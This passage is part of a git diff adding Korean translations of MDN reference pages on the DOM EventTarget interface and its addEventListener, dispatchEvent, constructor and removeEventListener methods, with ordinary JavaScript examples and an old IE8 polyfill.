+ this.onclick2 = function(event) {
+ console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+ };
+ element.addEventListener('click', this.onclick1, false);
+ element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+</pre>
+
+<p>또 다른 해결책은 <code>handleEvent()</code>라는 특수 함수를 사용하여 어떤 이벤트를 캐치 하는것입니다 :</p>
+
+<pre class="brush: js">var Something = function(element) {
+ // |this| is a newly created object
+ this.name = 'Something Good';
+ this.handleEvent = function(event) {
+ console.log(this.name); // 'Something Good', as this is bound to newly created object
+ switch(event.type) {
+ case 'click':
+ // some code here...
+ break;
+ case 'dblclick':
+ // some code here...
+ break;
+ }
+ };
+
+ // Note that the listeners in this case are |this|, not this.handleEvent
+ element.addEventListener('click', this, false);
+ element.addEventListener('dblclick', this, false);
+
+ // You can properly remove the listeners
+ element.removeEventListener('click', this, false);
+ element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+</pre>
+
+<p><em><code>this</code>에 대한 참조를 처리하는 또 다른 방법은, </em><code>EventListener</code> 에 함수를 전달하는 것입니다. 이 함수는 접근을 필요로 하는 필드가 들어있는, 객체의 메서드를 호출하는 함수입니다:</p>
+
+<pre class="brush: js">class SomeClass {
+
+ constructor() {
+ this.name = 'Something Good';
+ }
+
+ register() {
+ var that = this;
+ window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+ }
+
+ someMethod(e) {
+ console.log(this.name);
+ switch(e.keyCode) {
+ case 5:
+ // some code here...
+ break;
+ case 6:
+ // some code here...
+ break;
+ }
+ }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();</pre>
+
+<h3 id="오래된_인터넷_익스플로러와_attachEvent">오래된 인터넷 익스플로러와 attachEvent</h3>
+
+<p>인터넷 익스플로러 9 이전 버전에서는, 표준 <code>addEventListener()</code> 가 아닌 {{domxref("EventTarget.attachEvent", "attachEvent()")}}를 사용해야 합니다. IE의 경우 위의 예제를 다음과 같이 수정합니다:</p>
+
+<pre class="brush: js">if (el.addEventListener) {
+ el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent) {
+ el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p><code>attachEvent()</code>의 단점은 다음과 같습니다: <code>this</code>의 값이 이벤트가 바인드되어 있는 요소 대신에, <code>window</code>객체에 대한 참조가 됩니다.</p>
+
+<p><code>attachEvent()</code> 메서드는 <code>onresize</code> 이벤트와 쌍을 이루어 웹 페이지의 특정 요소의 크기가 리사이징 되는 시점을 감지할 수 있습니다. <code>mselementresize</code> 라는 독점적인 이벤트는, 이벤트 핸들러를 등록하는 <code>addEventListener</code> 메서드와 함께 사용할 때 <code>onresize</code>와 유사한 기능을 제공하여, 특정 HTML 요소의 크기를 리사이징 할 때 실행됩니다.</p>
+
+<h3 id="호환성">호환성</h3>
+
+<p>스크립트 시작 부분에 다음 코드를 사용하여, 인터넷 익스플로러 8 에서 지원하지 않는 <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}}, {{domxref("Event.stopPropagation()")}} 을 해결할 수 있습니다. 이 코드는 <code>handleEvent()</code>와 {{event("DOMContentLoaded")}} 이벤트에 대한 사용을 지원합니다.</p>
+
+<div class="note">
+<p><strong>참고: </strong>IE8 에서는 <code>useCapture</code>를 지원할 수 있는 다른 방법이 없습니다. 다음의 코드는 IE8 지원만 추가합니다. 이 IE8 폴리필은 표준 모드에서만 작동합니다: doctype 선언이 필요합니다.</p>
+</div>
+
+<pre class="brush: js">(function() {
+ if (!Event.prototype.preventDefault) {
+ Event.prototype.preventDefault=function() {
+ this.returnValue=false;
+ };
+ }
+ if (!Event.prototype.stopPropagation) {
+ Event.prototype.stopPropagation=function() {
+ this.cancelBubble=true;
+ };
+ }
+ if (!Element.prototype.addEventListener) {
+ var eventListeners=[];
+
+ var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+ var self=this;
+ var wrapper=function(e) {
+ e.target=e.srcElement;
+ e.currentTarget=self;
+ if (typeof listener.handleEvent != 'undefined') {
+ listener.handleEvent(e);
+ } else {
+ listener.call(self,e);
+ }
+ };
+ if (type=="DOMContentLoaded") {
+ var wrapper2=function(e) {
+ if (document.readyState=="complete") {
+ wrapper(e);
+ }
+ };
+ document.attachEvent("onreadystatechange",wrapper2);
+ eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+ if (document.readyState=="complete") {
+ var e=new Event();
+ e.srcElement=window;
+ wrapper2(e);
+ }
+ } else {
+ this.attachEvent("on"+type,wrapper);
+ eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+ }
+ };
+ var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+ var counter=0;
+ while (counter&lt;eventListeners.length) {
+ var eventListener=eventListeners[counter];
+ if (eventListener.object==this &amp;&amp; eventListener.type==type &amp;&amp; eventListener.listener==listener) {
+ if (type=="DOMContentLoaded") {
+ this.detachEvent("onreadystatechange",eventListener.wrapper);
+ } else {
+ this.detachEvent("on"+type,eventListener.wrapper);
+ }
+ eventListeners.splice(counter, 1);
+ break;
+ }
+ ++counter;
+ }
+ };
+ Element.prototype.addEventListener=addEventListener;
+ Element.prototype.removeEventListener=removeEventListener;
+ if (HTMLDocument) {
+ HTMLDocument.prototype.addEventListener=addEventListener;
+ HTMLDocument.prototype.removeEventListener=removeEventListener;
+ }
+ if (Window) {
+ Window.prototype.addEventListener=addEventListener;
+ Window.prototype.removeEventListener=removeEventListener;
+ }
+ }
+})();</pre>
+
+<h3 id="이벤트_리스너를_등록하는_고전적인_방법">이벤트 리스너를 등록하는 고전적인 방법</h3>
+
+<p><code>addEventListener()</code>는 DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a> 명세와 함께 도입되었습니다. 그 전에는 다음과 같이 이벤트 리스너를 등록했습니다:</p>
+
+<pre class="brush: js">// Passing a function reference ? do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+ // ... function logic ...
+};
+</pre>
+
+<p>This 이 메서드는 요소의 기존 <code>click</code> 이벤트 리스너가 있을 경우에, 그것을 대체합니다. <code>blur</code> (<code>onblur</code>) 및 <code>keypress</code> (<code>onkeypress</code>) 와 같은 다른 이벤트 및 이벤트 핸들러도 비슷하게 작동합니다.</p>
+
+<p>이것은 본질적으로 {{glossary("DOM", "DOM 0")}}의 일부였기 때문에, 이벤트 리스너를 추가하는데 매우 광범위하게 지원되며 특별한 크로스 브라우징 코드가 필요하지 않습니다. 이것은 일반적으로 <code>addEventListener()</code>의 추가 기능이 필요하지 않으면, 이벤트 리스너를 동적으로 등록하는데 사용합니다.</p>
+
+<h3 id="메모리_이슈">메모리 이슈</h3>
+
+<pre class="brush: js">var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i&lt;els.length ; i++){
+ els[i].addEventListener("click", function(e){/*do something*/}, false);
+}
+
+// Case 2
+function processEvent(e){
+ /*do something*/
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+ els[i].addEventListener("click", processEvent, false);
+}
+</pre>
+
+<p>위의 첫 번째 경우, 루프의 각 반복마다 새로운 익명 핸들러 함수가 생성됩니다. 두 번째 경우에는 이전에 선언한 동일한 함수를 이벤트 핸들러로 사용하므로, 메모리 소비가 줄어듭니다. 또한 첫 번째 경우에는 removeEventListener()를 호출할 수 없습니다. 익명 함수에 대한 참조가 유지되지 않기 때문입니다.(루프가 생성할 수 있는 여러개의 익명 함수 중 하나에 보관되지 않습니다) 두 번째 경우에는 <code>processEvent</code>가 함수 참조이기 때문에, <code>myElement.removeEventListener("click", processEvent, false)</code>를 수행할 수 있습니다.</p>
+
+<p>사실, 메모리 소비와 관련하여, 함수 참조를 유지하는 것은 진짜 문제가 아닙니다. 오히려 정적 함수 참조를 유지하는 것이 부족합니다. 아래의 두 경우(3,4번째 케이스) 모두 함수 참조가 유지되지만, 각 반복에서 재정의 되므로 정적이 아닙니다. 세 번째 경우에는 익명 함수에 대한 참조가, 반복될 때 마다 다시 할당됩니다. 네 번째 경우에는 전체 함수 정의가 변경되지 않지만, 새로운 것처럼(컴파일러에 의해 [[promoted]]되지 않는 한) 반복적으로 정의되고 있고 그래서 정적이지 않습니다. 따라서 간단하게 [[여러개의 동일한 이벤트 리스너]]인 것처럼 보이지만, 두 경우 모두 각 반복은 핸들러 함수에 대한 고유한 참조로 새로운 리스너를 생성합니다. 그러나 함수 정의 자체는 변경되지 않으므로, 모든 중복 리스너에 대해 같은 함수가 여전히 호출될 수 있습니다.(특히 코드가 최적화되는 경우)</p>
+
+<p>또한 두 경우 모두 함수 참조가 유지되었지만, 각 가산에 대해 반복적으로 재정의 되었습니다. 위에서 사용했던 remove 문(statement)으로는 리스너를 제거할 수 있지만, 마지막으로 추가한 리스너만 제거됩니다.</p>
+
+<pre class="brush: js">// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element
+
+// Case 3
+for(var i=0, j=0 ; i&lt;els.length ; i++){
+  /*do lots of stuff with j*/
+ els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false);
+}
+
+// Case 4
+for(var i=0, j=0 ; i&lt;els.length ; i++){
+  /*do lots of stuff with j*/
+ function processEvent(e){/*do something*/};
+ els[j].addEventListener("click", processEvent, false);
+}</pre>
+
+<h3 id="passive_리스너로_스크롤링_성능_향상">passive 리스너로 스크롤링 성능 향상</h3>
+
+<p>명세에 따르면, <code>passive</code> option의 기본값은 항상 <code>false</code> 입니다. 그러나 이것은 이벤트 리스너가 특정 터치 이벤트를 처리하는 경우(다른 이벤트를 포함하여), 스크롤을 처리하는 동안 브라우저의 메인 스레드를 차단하기 때문에, 스크롤 처리 시 성능이 크게 저하될 수 있습니다.</p>
+
+<p>이러한 문제를 방지하기 위하여, 일부 브라우저(특히 크롬과 파이어폭스)는 document-level nodes인 {{domxref("Window")}}, {{domxref("Document")}}, {{domxref("Document.body")}}의 경우 {{event("touchstart")}} 와{{event("touchmove")}} 이벤트에 대해 <code>passive</code> 옵션의 기본값을 <code>true</code>로 변경했습니다. 이렇게 하면 이벤트 리스너가 호출되지 않으므로, 사용자가 스크롤 하는 동안 페이지 렌더링을 차단할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 변경된 동작을 구현하는 브라우저(혹은 브라우저의 버전)을 알아야 할 경우 아래의 호환성 표를 참조하세요.</p>
+</div>
+
+<p>다음과 같이 <code>passive</code>의 값을 명시적으로 <code>false</code>로 설정을 오버라이드 하여 이 동작을 무시할 수 있습니다:</p>
+
+<pre class="brush: js">/* Feature detection */
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+}, passiveIfSupported );
+</pre>
+
+<p><code>addEventListener()</code>에 대한 <code>options</code> 매개변수를 지원하지 않는 이전 브라우저에서는, <a href="#Safely_detecting_option_support">feature detection</a>를 사용하지 않고는 <code>useCapture</code> 인수를 사용하지 못하도록 해야 합니다.</p>
+
+<p>{{event("scroll")}} 이벤트의 기본 <code>passive</code> 값에 대해 걱정할 필요는 없습니다. 취소할 수 없기 때문에, 이벤트 리스너는 페이지 렌더링을 차단할 수 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+ <td>{{Spec2("DOM2 Events")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="/en-US/docs/DOM/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/dispatchevent/index.html b/files/ko/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..327813fde6
--- /dev/null
+++ b/files/ko/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,79 @@
+---
+title: EventTarget.dispatchEvent()
+slug: Web/API/EventTarget/dispatchEvent
+tags:
+ - API
+ - DOM
+ - DOM 엘리먼트 메소드
+ - Gecko
+ - 메소드
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>영향을 받는 {{domxref("EventListener")}} 를 적절한 순서로 호출하는 지정된 {{domxref("EventTarget")}} 에서 {{domxref("Event")}} 를 (동기적으로) 디스패치합니다. 일반 이벤트 처리 규칙(capturing 과 선택적인 bubbling 단계를 포함해)은 <code>dispatchEvent()</code> 를 사용하여 수동으로 전달 된 이벤트에도 적용됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<ul>
+ <li><code>event</code> 는 디스패치될 {{domxref("Event")}} 객체입니다.</li>
+ <li><code>target</code> 은 {{domxref("Event", "", "target")}} 를 초기화하기 위해서 사용되고 어떤 이벤트 리스너를 호출할 것인지 결정합니다.</li>
+</ul>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
+ <li>적어도 하나의 이벤트 핸들러가 그 이벤트를 처리하면서  {{domxref("Event.preventDefault()")}} 를 호출하였다면 <code>false</code> 를 반환하고 그렇지 않으면 <code>true</code> 를 반환합니다.</li>
+</ul>
+
+<p><code>dispatchEvent</code> 메서드는 그 이벤트의 타입이 메서드의 호출이전에 초기화되지 않았을 경우 <code>UNSPECIFIED_EVENT_TYPE_ERR</code> 에러를 발생시킵니다. 또는 이벤트의 타입이 <code>null</code> 이거나 공백 스트링을 경우에도 같은 에러를 발생시킵니다. 이벤트 핸들러에 의해 발생한 이벤트는 잡히지 않은 예외(uncaugt exceptions)로 보고가 되며 이벤트 핸들러는 내부 콜스택(nested callstack)에서 실행이 됩니다. 이는 곧 완료가 될 때까지 호출자(caller)를 막는 다는 뜻이고 예외들이 호출자(caller)에게 전파(propagate)되지 않음을 말합니다. </p>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>DOM에 의해 시작되고 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/EventLoop">이벤트 루프</a>를 통해 이벤트 핸들러를 비동기 적으로 호출하는 "네이티브" 이벤트와 달리 <code>dispatchEvent</code> 는 이벤트 핸들러를 동기적으로 호출합니다. <code>dispatchEvent</code> 를 호출 한 후 코드가 계속되기 전에 모든 해당 이벤트 핸들러가 실행되고 리턴됩니다.</p>
+
+<p>implementation's 이벤트 모델의 디스패치 이벤트에 사용되는 create-init-dispatch 프로세스의 마지막 단계입니다. 이벤트는 <a href="https://developer.mozilla.org/ko/docs/Web/API/Event/Event">Event 생성자</a>를 사용하여 만들 수 있습니다.</p>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/Event" title="DOM/event">Event 객체 레퍼런스</a>도 한번 확인해 보세요</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events" title="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a> 문서를 확인하세요.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+ <td>{{ Spec2('DOM WHATWG') }}</td>
+ <td>DOM 2 Events 명세의 초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.EventTarget.dispatchEvent")}}</p>
+
+<p> </p>
diff --git a/files/ko/web/api/eventtarget/eventtarget/index.html b/files/ko/web/api/eventtarget/eventtarget/index.html
new file mode 100644
index 0000000000..054c831826
--- /dev/null
+++ b/files/ko/web/api/eventtarget/eventtarget/index.html
@@ -0,0 +1,70 @@
+---
+title: EventTarget()
+slug: Web/API/EventTarget/EventTarget
+translation_of: Web/API/EventTarget/EventTarget
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code><strong>EventTarget()</strong></code> 생성자는 새로운 {{domxref("EventTarget")}} 객체 인스턴스를 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>myEventTarget</var> = new EventTarget();</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{domxref("EventTarget")}} 객체의 인스턴스를 반환합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js" id="ct-20">class MyEventTarget extends EventTarget {
+ constructor(mySecret) {
+  super();
+ this._secret = mySecret;
+ }
+
+ get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret; // == 5
+myEventTarget.addEventListener("foo", function(e) {
+ this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventTarget.EventTarget")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("EventTarget")}}</li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/index.html b/files/ko/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..5addf5b9d6
--- /dev/null
+++ b/files/ko/web/api/eventtarget/index.html
@@ -0,0 +1,133 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+ - API
+ - DOM
+ - DOM Events
+ - EventTarget
+ - Interface
+ - Reference
+translation_of: Web/API/EventTarget
+---
+<div>{{ApiRef("DOM Events")}}</div>
+
+<p><strong><code>EventTarget</code></strong>은 이벤트를 받을 수 있으며, 이벤트에 대한 수신기(listener)를 가질 수 있는 객체가 구현하는 DOM 인터페이스입니다.</p>
+
+<p>{{domxref("Element")}}, {{domxref("document")}} 및 {{domxref("window")}}가 가장 흔한 이벤트 대상이지만, 다른 객체, 예컨대 {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}} 등 역시 이벤트 대상이 될 수 있습니다.</p>
+
+<p>많은 이벤트 대상(요소, 문서, 창, ...)은 <code>on<em>event</em></code> 속성과 특성을 사용한 <a href="/ko/docs/Web/Guide/Events/Event_handlers">이벤트 처리기</a> 등록도 지원합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.EventTarget()", "EventTarget()")}}</dt>
+ <dd>새로운 <code>EventTarget</code> 객체 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd><code>EventTarget</code>에 특정 이벤트 유형의 이벤트 처리기를 등록합니다.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd><code>EventTarget</code>에서 주어진 이벤트 수신기를 제거합니다.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd><code>EventTarget</code>에 이벤트를 디스패치 합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Mozilla_chrome_코드_용_추가_메서드">Mozilla chrome 코드 용 추가 메서드</h3>
+
+<p>on* property를 구현하는 JS로 구현된 이벤트 대상에 쓰이는 Mozilla 확장기능(extension). <a href="/ko/docs/Mozilla/WebIDL_bindings">WebIDL 바인딩</a>도 참조.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{non-standard_inline}}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{non-standard_inline}}</li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_EventTarget_구현">간단한 EventTarget 구현</h3>
+
+<pre class="brush: js">var EventTarget = function() {
+ this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+ if (!(type in this.listeners)) {
+ this.listeners[type] = [];
+ }
+ this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+ if (!(type in this.listeners)) {
+ return;
+ }
+ var stack = this.listeners[type];
+ for (var i = 0, l = stack.length; i &lt; l; i++) {
+ if (stack[i] === callback){
+ stack.splice(i, 1);
+ return;
+ }
+ }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+ if (!(event.type in this.listeners)) {
+ return true;
+ }
+ var stack = this.listeners[event.type].slice();
+
+ for (var i = 0, l = stack.length; i &lt; l; i++) {
+ stack[i].call(this, event);
+ }
+ return !event.defaultPrevented;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>변화 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ <td>매개변수 약간이 이제 선택사항(<code>listener</code>) 또는 <code>null</code> 값을 받아들임(<code>useCapture</code>).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+ <td>{{Spec2('DOM2 Events')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventTarget")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference/Events">Event 참고서</a> - 웹 플랫폼에서 사용할 수 있는 이벤트 목록</li>
+ <li><a href="/ko/docs/Web/Guide/Events">Event 개발자 안내서</a></li>
+ <li>{{domxref("Event")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/removeeventlistener/index.html b/files/ko/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..d81a32e8c9
--- /dev/null
+++ b/files/ko/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,211 @@
+---
+title: EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>EventTarget.removeEventListener()</code></strong> 메서드는 이전에{{domxref("EventTarget.addEventListener()")}}로 {{domxref("EventTarget")}} 에 등록했던 이벤트 리스너를 제거합니다. 이 이벤트 리스너는 이벤트 종류와 이벤트 리스너 함수 자체의 조합으로 식별되어 제거되며, 등록시 제공했던 다양한 옵션과 일치하는 이벤트 리스너만 제거할 수 있습니다. <span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{anch("Matching event listeners for removal")}}를 참고하세요.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+<em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>제거할 이벤트 리스너의 이벤트 타입을 지정합니다.</dd>
+ <dt><code>listener</code></dt>
+ <dd>이벤트 타깃에서 제거할 이벤트 핸들러 함수, {{domxref("EventListener")}}를 지정합니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>이벤트 리스너에 대한 특징, 즉 제거할 이벤트 리스너의 옵션들을 지정합니다. 지정할 수 있는 옵션들은 아래와 같습니다.
+ <ul>
+ <li><code>capture</code>: 이 이벤트 타입의 이벤트들이 DOM 트리 내 모든 어떤 <code>EventTarget</code> 에 디스패치되기 전에  등록된 <code>listener</code> 들을 먼저 처리하도록 만들지 말지를 결정하는 {{jsxref("Boolean")}} 값.</li>
+ <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Available only in code running in XBL or in Firefox' chrome, it is a {{jsxref("Boolean")}} defining if the listener is added to the system group. (비표준)</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Specifies whether the {{domxref("EventListener")}} to be removed is registered as a capturing listener or not. If this parameter is absent, a default value of <code>false</code> is assumed.</dd>
+ <dd>If a listener is registered twice, one with capture and one without, remove each one separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Matching_event_listeners_for_removal">Matching event listeners for removal</h3>
+
+<p>Given an event listener previously added by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}}, you may eventually come to a point at which you need to remove it. Obviously, you need to specify the same <code>type</code> and <code>listener</code> parameters to <code>removeEventListener()</code>, but what about the <code>options</code> or <code>useCapture</code> parameters?</p>
+
+<p>While <code>addEventListener()</code> will let you add the same listener more than once for the same type if the options are different, the only option <code>removeEventListener()</code> checks is the <code>capture</code>/<code>useCapture</code> flag. Its value must match for <code>removeEventListener()</code> to match, but the other values don't.</p>
+
+<p>For example, consider this call to <code>addEventListener()</code>:</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, true);</pre>
+
+<p>Now consider each of these two calls to <code>removeEventListener()</code>:</p>
+
+<pre class="brush: js">element.removeEventListener("mousedown", handleMouseDown, false); // Fails
+element.removeEventListener("mousedown", handleMouseDown, true); // Succeeds
+</pre>
+
+<p>The first call fails because the value of <code>useCapture</code> doesn't match. The second succeeds, since <code>useCapture</code> matches up.</p>
+
+<p>Now consider this:</p>
+
+<pre class="brush: js">element.addEventListener("mousedown", handleMouseDown, { passive: true });</pre>
+
+<p>Here, we specify an <code>options</code> object in which <code>passive</code> is set to <code>true</code>, while the other options are left to the default value of <code>false</code>.</p>
+
+<p>Now look at each of these calls to <code>removeEventListener()</code> in turn. Any of them in which <code>capture</code> or <code>useCapture</code> is <code>true</code> fail; all others succeed. Only the <code>capture</code> setting matters to <code>removeEventListener()</code>.</p>
+
+<pre class="brush: js">element.removeEventListener("mousedown", handleMouseDown, { passive: true }); // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: false }); // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: true }); // Fails
+element.removeEventListener("mousedown", handleMouseDown, { passive: false }); // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, false); // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, true); // Fails
+</pre>
+
+<p>It's worth noting that some browser releases have been inconsistent on this, and unless you have specific reasons otherwise, it's probably wise to use the same values used for the call to <code>addEventListener()</code> when calling <code>removeEventListener()</code>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>If an {{domxref("EventListener")}} is removed from an {{domxref("EventTarget")}} while it is processing an event, it will not be triggered by the current actions. An {{domxref("EventListener")}} will not be invoked for the event it was registered for after being removed. However, it can be reattached.</p>
+
+<p>Calling <code>removeEventListener()</code> with arguments that do not identify any currently registered {{domxref("EventListener")}} on the <code>EventTarget</code> has no effect.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example shows how to add a <code>click</code>-based event listener and remove a <code>mouseover</code>-based event listener.</p>
+
+<pre class="brush: js">var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
